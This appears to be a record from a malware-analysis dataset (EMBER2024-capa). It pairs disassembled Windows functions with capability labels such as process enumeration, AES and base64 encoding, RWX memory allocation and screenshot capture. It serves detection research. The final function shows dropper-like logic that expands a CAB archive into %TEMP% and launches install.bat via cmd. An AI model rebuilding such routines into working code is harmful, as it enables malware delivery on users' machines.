joyce8/EMBER2024-capa huggingface dataset:
Function at 0x422020
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x457150
mov eax, dword fs:[0]
push eax
sub esp, 0x250
mov eax, dword [0x474298]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x248]
mov dword [ebp - 0x244], 0xffffffff
push eax
mov dword [ebp - 0x248], 0xffffffff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x422230
cmp dword [ebp - 0x248], 0xffffffff
je 0x422230
xor esi, esi
xor edi, edi
xor ebx, ebx
mov dword [ebp - 0x24c], esi
mov dword [ebp - 0x25c], esi
mov dword [ebp - 0x258], edi
mov dword [ebp - 0x254], ebx
push ebx
push 2
mov dword [ebp - 4], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x240], eax
cmp eax, 0xffffffff
je 0x4221f9
push 0x228
lea eax, [ebp - 0x238]
mov dword [ebp - 0x23c], 0x22c
push ebx
push eax
call fcn.004286d0
add esp, 0xc
lea eax, [ebp - 0x23c]
push eax
push dword [ebp - 0x240]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x422170
jmp 0x422100
lea eax, [ebp - 0x218]
push 0x45d6f4
push eax
call fcn.00431351
add esp, 8
test eax, eax
jne 0x42214e
cmp edi, ebx
je 0x42212f
mov eax, dword [ebp - 0x234]
mov dword [edi], eax
add edi, 4
mov dword [ebp - 0x258], edi
jmp 0x42214e
lea eax, [ebp - 0x234]
push eax
push edi
lea ecx, [ebp - 0x25c]
call fcn.00407260
mov ebx, dword [ebp - 0x254]
mov edi, dword [ebp - 0x258]
lea eax, [ebp - 0x23c]
push eax
push dword [ebp - 0x240]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x422100
mov esi, dword [ebp - 0x25c]
mov dword [ebp - 0x24c], esi
push dword [ebp - 0x240]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, edi
je 0x4221f9
lea eax, [ebp - 0x240]
mov dword [ebp - 0x240], 0xffffffff
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x4221e4
mov eax, dword [ebp - 0x240]
cmp eax, dword [ebp - 0x248]
jne 0x4221e4
push dword [esi]
push 0
push 0x100400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x250], eax
test eax, eax
je 0x4221e4
lea ecx, [ebp - 0x244]
push ecx
push 0xf
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push dword [ebp - 0x250]
test eax, eax
jne 0x4221ed
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, edi
jne 0x422180
jmp 0x4221f3
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x24c]
mov edi, dword [ebp - 0x244]
test esi, esi
je 0x42222c
sub ebx, esi
mov eax, esi
and ebx, 0xfffffffc
cmp ebx, 0x1000
jb 0x422222
mov esi, dword [esi - 4]
add ebx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422252
push ebx
push esi
call fcn.0042679c
add esp, 8
mov eax, edi
jmp 0x422236
mov eax, dword [ebp - 0x244]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00426a09
mov esp, ebp
pop ebp
ret
call fcn.0042b0ff
int3
Function at 0x4239d0
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
mov edi, dword [ebp + 0xc]
cmp edi, 0x10
je 0x4239ed
cmp edi, 0x18
je 0x4239ed
cmp edi, 0x20
jne 0x423bc4
shr edi, 2
mov ecx, 4
cmp edi, ecx
mov eax, edi
push esi
mov esi, dword [ebp + 0x10]
cmovb eax, ecx
lea eax, [eax*4 + 0x1c]
mov dword [ebp - 8], eax
test esi, esi
je 0x423bc3
mov dword [esi], 0x10
push ebx
mov dword [esi + 4], eax
xor ebx, ebx
add esi, 8
mov dword [ebp + 0x10], esi
test edi, edi
je 0x423a5d
mov edx, dword [ebp + 8]
add edx, 2
mov edi, edi
movzx ecx, byte [edx - 2]
lea edx, [edx + 4]
movzx eax, byte [edx - 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx - 4]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx - 3]
shl ecx, 8
or ecx, eax
mov dword [esi + ebx*4], ecx
inc ebx
cmp ebx, edi
jl 0x423a30
mov eax, dword [ebp - 8]
mov ebx, dword [esi + ebx*4 - 4]
mov ecx, edi
cmp edi, eax
jge 0x423b3f
mov dword [ebp + 0xc], 0
mov dword [ebp - 4], esi
mov eax, ecx
cdq
idiv edi
test edx, edx
jne 0x423ad5
mov eax, dword [ebp + 0xc]
cdq
idiv edi
mov dl, byte [eax + 0x460b48]
mov eax, ebx
shr eax, 0x10
movzx eax, al
movzx esi, byte [eax + 0x45e948]
movzx eax, dl
xor esi, eax
mov eax, ebx
shr eax, 8
movzx eax, al
shl esi, 8
movzx eax, byte [eax + 0x45e948]
xor esi, eax
movzx eax, bl
shl esi, 8
shr ebx, 0x18
movzx eax, byte [eax + 0x45e948]
xor esi, eax
movzx ebx, byte [ebx + 0x45e948]
shl esi, 8
xor ebx, esi
mov esi, dword [ebp + 0x10]
jmp 0x423b22
cmp edi, 6
jbe 0x423b22
cmp edx, 4
jne 0x423b22
mov eax, ebx
shr eax, 0x10
movzx eax, al
movzx edx, byte [eax + 0x45e948]
mov eax, ebx
shr eax, 0x18
movzx eax, byte [eax + 0x45e948]
shl eax, 8
xor edx, eax
mov eax, ebx
shr eax, 8
movzx eax, al
shl edx, 8
movzx eax, byte [eax + 0x45e948]
xor edx, eax
movzx eax, bl
shl edx, 8
movzx ebx, byte [eax + 0x45e948]
xor ebx, edx
mov eax, dword [ebp - 4]
inc dword [ebp + 0xc]
xor ebx, dword [eax]
add eax, 4
mov dword [esi + ecx*4], ebx
inc ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
cmp ecx, eax
jl 0x423a75
xor edi, edi
sub ecx, 1
js 0x423bc2
lea eax, [esi + eax*4]
mov dword [ebp + 0xc], eax
mov ebx, dword [esi + ecx*4]
cmp edi, 4
jl 0x423bb2
cmp ecx, 4
jb 0x423bb2
mov eax, ebx
shr eax, 0x10
movzx eax, al
movzx edx, byte [eax + 0x45e948]
mov eax, ebx
shr eax, 8
movzx eax, al
mov edx, dword [edx*4 + 0x45ff48]
movzx eax, byte [eax + 0x45e948]
xor edx, dword [eax*4 + 0x460348]
mov eax, ebx
shr eax, 0x18
movzx eax, byte [eax + 0x45e948]
xor edx, dword [eax*4 + 0x45fb48]
movzx eax, bl
movzx eax, byte [eax + 0x45e948]
xor edx, dword [eax*4 + 0x460748]
mov eax, dword [ebp + 0xc]
jmp 0x423bb4
mov edx, ebx
mov dword [eax], edx
inc edi
add eax, 4
sub ecx, 1
mov dword [ebp + 0xc], eax
jns 0x423b50
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x423ea0
Capabilities:
Decode data using base64 via dword translation table
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
lea eax, [esi - 1]
add eax, ecx
cmp byte [eax], 0x3d
jne 0x423ec1
lea eax, [eax - 1]
dec esi
cmp byte [eax], 0x3d
je 0x423eb5
mov dword [ebp + 0xc], esi
xor eax, eax
test esi, esi
je 0x423f78
push ebx
mov edx, 1
mov dword [ebp + 8], 2
lea ebx, [esi - 1]
sub edx, ecx
shr ebx, 2
push edi
lea edi, [ecx + 2]
mov dword [ebp - 4], edx
inc ebx
jmp 0x423ef0
movsx ecx, byte [edi - 1]
mov dh, byte [ecx + 0x460bb0]
movsx ecx, byte [edi - 2]
mov dl, byte [ecx + 0x460bb0]
mov cl, dh
sar cl, 4
and cl, 3
shl dl, 2
or dl, cl
mov ecx, dword [ebp + 0x10]
mov byte [eax + ecx], dl
inc eax
mov ecx, dword [ebp + 8]
cmp ecx, esi
jae 0x423f64
movsx ecx, byte [edi]
mov esi, dword [ebp + 0x10]
shl dh, 4
mov dl, byte [ecx + 0x460bb0]
mov cl, dl
sar cl, 2
and cl, 0xf
or cl, dh
mov byte [eax + esi], cl
inc eax
mov ecx, dword [ebp - 4]
mov esi, dword [ebp + 0xc]
add ecx, edi
cmp ecx, esi
jae 0x423f61
movsx ecx, byte [edi + 1]
shl dl, 6
mov cl, byte [ecx + 0x460bb0]
and cl, 0x3f
or cl, dl
mov edx, dword [ebp + 0x10]
mov byte [eax + edx], cl
inc eax
mov ecx, dword [ebp + 8]
add ecx, 4
add edi, 4
mov dword [ebp + 8], ecx
sub ebx, 1
jne 0x423ef0
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x423f80
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
sub esp, 0x10
push esi
xor esi, esi
test ecx, ecx
je 0x424081
mov eax, dword [ebp + 8]
mov edx, 1
push ebx
mov ebx, dword [ebp + 0x10]
sub edx, eax
dec ecx
mov dword [ebp - 0x10], edx
push edi
lea edi, [eax + 1]
mov dword [ebp - 4], 1
mov eax, 0xaaaaaaab
mul ecx
mov ecx, edx
shr ecx, 1
inc ecx
mov dword [ebp - 0xc], ecx
movzx eax, byte [edi - 1]
mov ecx, dword [ebp + 0xc]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + ebx], al
lea eax, [esi + 2]
mov dl, byte [edi - 1]
and dl, 3
shl dl, 4
cmp dword [ebp - 4], ecx
jae 0x424055
movzx ecx, byte [edi]
shr cl, 4
add cl, dl
movzx ecx, cl
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + ebx + 1], cl
lea ecx, [eax + ebx]
mov dh, byte [edi]
inc eax
mov dword [ebp - 8], ecx
and dh, 0xf
mov ecx, dword [ebp - 0x10]
add ecx, edi
shl dh, 2
cmp ecx, dword [ebp + 0xc]
jae 0x424040
mov dl, byte [edi + 1]
mov ebx, dword [ebp - 8]
mov cl, dl
shr cl, 6
add cl, dh
movzx ecx, cl
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebx], cl
mov ebx, dword [ebp + 0x10]
movzx ecx, dl
and ecx, 0x3f
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + ebx], cl
jmp 0x42406b
movzx ecx, dh
mov edx, dword [ebp - 8]
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx], cl
mov cl, 0x3d
mov byte [eax + ebx], cl
jmp 0x42406b
movzx ecx, dl
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + ebx + 1], cl
mov byte [eax + ebx], 0x3d
inc eax
mov byte [eax + ebx], 0x3d
add dword [ebp - 4], 3
lea esi, [eax + 1]
add edi, 3
sub dword [ebp - 0xc], 1
jne 0x423fc0
pop edi
pop ebx
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x436524
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00436077

Function at 0x4395f0
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00439466
Function at 0x405af0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405b56
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404208
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402c9c
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405b40
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405b5d
lea eax, [ebp - 0x10]
call fcn.00403f98
ret

Function at 0x408290
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00404458
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x4082a9
test al, 0x10
jne 0x4082ad
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x4082b4
Capabilities:
Set file attributes

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
xor ebx, ebx
push edi
mov eax, esi
call fcn.00404458
push eax
call sub.kernel32.dll_SetFileAttributesA
test eax, eax
jne 0x4082d6
call sub.kernel32.dll_GetLastError
mov ebx, eax
mov eax, ebx
pop edi
pop esi
pop ebx
ret

Function at 0x40ae4c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40ae85
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404088
jmp 0x40ae8e
mov eax, ebx
mov edx, esi
call fcn.00403fec
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40ae98
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40aeb9
mov al, byte [esp]
jmp 0x40aebb
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x40b540
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40b3b8
mov eax, dword [0x451030]
cmp byte [eax], 0
je 0x40b5bc
mov eax, dword [0x450e4c]
call fcn.00402acc
call fcn.00402824
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00408600
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40b604
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40b5f2
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x450dfc]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x452664]
call fcn.00405004
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret

Function at 0x40be58
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40bf2e
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404030
lea eax, [ebp - 8]
call fcn.004044a8
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404458
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40bf18
mov eax, ebx
call fcn.004026bc
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40bf11
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404458
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40befb
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40bf40
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40befb
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bf18
mov eax, dword [ebp - 0x10]
call fcn.004026dc
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bf35
lea eax, [ebp - 8]
call fcn.00403f98
ret

Function at 0x40c3ac
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40c410
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404208
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00407f10
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c417
lea eax, [ebp - 0xc]
call fcn.00403f98
ret
Function at 0x41a540
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x452884
cmp dword [edi], 0
jne 0x41a5bc
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x452880]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4503ec
mov ecx, 2
call fcn.004028b8
mov edx, 0x41a518
lea eax, [esi + 5]
call fcn.0041a538
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0041a538
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x41a591
mov dword [0x452880], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41b7d0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41b7d6
ret

Function at 0x41dc18
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x41dc69
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x41dc50
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x41dc40
jmp 0x41dc69
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x41dc51
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x432234
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1f8], 0
je 0x432250
cmp dword [esi + 4], 0
je 0x43227d
test byte [ebx + 0x55], 1
jne 0x43226f
mov eax, ebx
call fcn.00430e40
test eax, eax
jne 0x43226f
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x43238d
mov edx, esi
mov eax, ebx
call fcn.00431d58
jmp 0x43238d
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x432386
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.004340a4
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.0042eadc
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.00432234
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.004340a4
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43238d
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44b858
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x44b86f
add esp, 0xfffffff0
call fcn.0040356c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.004194b0
mov eax, dword [0x450f40]
cmp word [eax + 2], 0
jne 0x44b897
mov eax, dword [0x450f40]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0044cf30
mov eax, dword [0x450fec]
cmp word [eax + 2], 0
jne 0x44b8b1
mov eax, dword [0x450fec]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0044d128
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x4117a8]
call fcn.00403230
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x4117a8]
call fcn.00403230
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41b684]
call fcn.004212cc
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x44ba38
mov eax, dword [0x450e64]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0042169c
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x44d6c8
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x450e64]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c344
test eax, eax
je 0x44b9a6
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.0040863c
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c36c
test eax, eax
je 0x44b9ba
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404208
mov eax, dword [0x450d68]
cmp byte [eax], 0
jne 0x44b9ee
mov eax, ebx
call fcn.0044bb60
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0044d8a4
mov eax, ebx
call fcn.0044e268
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44ba2e
call fcn.004035c4
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Accept command line arguments
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x401860
call dword [sym.imp.KERNEL32.DLL_SetUnhandledExceptionFilter]
push 0x8003
call dword [sym.imp.KERNEL32.DLL_SetErrorMode]
call fcn.00401210
test eax, eax
jne 0x401042
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401865
mov esp, ebp
pop ebp
ret 0x10
push esi
push edi
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 0x208
mov edi, eax
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00401c60
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x104
push eax
push 0x402088
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
push 0x208
mov esi, eax
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00401c60
add esp, 0xc
push dword [edi + 4]
lea eax, [ebp - 0x20c]
test esi, esi
jne 0x4010bd
push str._s_2.dat
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
jmp 0x4010d4
push str._s_3.dat
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.DLL_Wow64EnableWow64FsRedirection]
push 0
push 0
push str.temp.dat
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [0x4033b0]
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
test eax, eax
je 0x401119
push 0x3e8
call esi
push 0
push 0
push str.temp.dat
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [0x4033b0]
test eax, eax
jne 0x4010f6
call fcn.00401370
push str.temp.dat
call dword [0x4033ac]
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00401c60
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x104
push eax
push str._TEMP_
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x20c]
push eax
push str.temp.cab
lea eax, [ebp - 0x310]
push str.cmd__c_expand__ws__F:___ws_
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x310]
push 0
push eax
call dword [0x4033d0]
push 0x3e8
call esi
push str.temp.cab
call dword [0x4033ac]
test eax, eax
je 0x401188
push str.install.bat
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
call fcn.004017c0
test eax, eax
je 0x4011e2
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push str.cmd__c___ws_
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x310]
push 0
push eax
call dword [0x4033d0]
jmp 0x4011ed
lea ecx, [ebp - 0x20c]
call fcn.00401550
push 0
call dword [0x4033b8]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00401865
mov esp, ebp
pop ebp
ret 0x10